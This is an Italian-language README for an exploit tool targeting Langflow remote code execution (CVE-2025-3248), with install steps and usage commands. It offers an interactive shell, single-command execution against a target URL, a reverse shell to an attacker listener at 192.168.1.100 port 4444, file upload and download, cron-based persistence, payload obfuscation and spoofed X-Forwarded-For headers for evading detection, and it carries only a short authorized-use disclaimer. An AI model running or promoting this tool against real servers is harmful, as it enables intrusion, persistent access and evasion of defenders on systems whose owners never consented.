Langflow RCE Exploit (CVE-2025-3248)

Exploit di Remote Code Execution per Langflow (CVE-2025-3248)

Caratteristiche

• Rilevamento automatico della vulnerabilità
• Modalità di exploit multiple:
  • Shell interattiva
  • Esecuzione di un singolo comando
  • Connessione reverse shell
• Caricamento di file
• Interfaccia utente colorata
• Metodi multipli per reverse shell
• Persistenza della cronologia dei comandi

📌 Changelog (v2.0)

✨ Novità:

• Sistema di payload avanzato con 5 metodi di esecuzione
• Caricamento/scaricamento di file con codifica Base64
• Persistenza tramite cron job (comando persist)
• Aggiornamenti della shell interattiva:
  • upload local_path remote_path
  • download remote_path local_path
  • Comando clear per il terminale

🛡️ Miglioramenti di sicurezza:

• Offuscamento automatico dei payload (Base64 + varianti casuali)
• Rotazione degli header per ogni richiesta:
  • User-Agent casuale
  • IP X-Forwarded-For falsificati
• Bypass HTTPS (supporto certificati autofirmati)
• Nessun reindirizzamento per evitare il rilevamento

⚡ Miglioramenti tecnici:

• Verifica della vulnerabilità a più stadi
• Gestione avanzata degli errori per connessioni instabili
• Registrazione completa della sessione in exploit_log.txt
• Persistenza della cronologia dei comandi (.langflow_shell_history)

📊 Confronto delle versioni:

🐛 Bug risolti:

• Risolti problemi di connessione HTTPS
• Migliorata la gestione dei caratteri speciali nei comandi
• Stabilizzata l'affidabilità della reverse shell

Requisiti

• Python 3.6 o superiore
• Librerie richieste:
  • requests
  • colorama
  • readline

Installazione

git clone https://github.com/0-d3y/langflow-rce-exploit.git
cd langflow-rce-exploit
pip install -r requirements.txt

Utilizzo

python exploit.py <URL> [opzioni]

Opzioni disponibili:

Esempi:

1. Verifica vulnerabilità:

python exploit.py http://target.com

2. Avvia shell interattiva:

python exploit.py http://target.com --shell

3. Esegui un singolo comando:

python exploit.py http://target.com --command "whoami"

4. Avvia reverse shell:

python exploit.py http://target.com --reverse 192.168.1.100 4444

Screenshot

Image.png)

Avviso

⚠️ Questo strumento è solo per scopi educativi e di test autorizzati.
⚠️ L'uso non autorizzato contro sistemi di cui non si è proprietari o per cui non si ha il permesso di testare è illegale.

Licenza

Questo progetto è concesso in licenza MIT - vedi il file LICENSE per i dettagli.

Autore

• Mr.SaMi
  
  

Contributi

I pull request sono benvenuti. Per modifiche importanti, apri prima un issue per discutere cosa vorresti cambiare.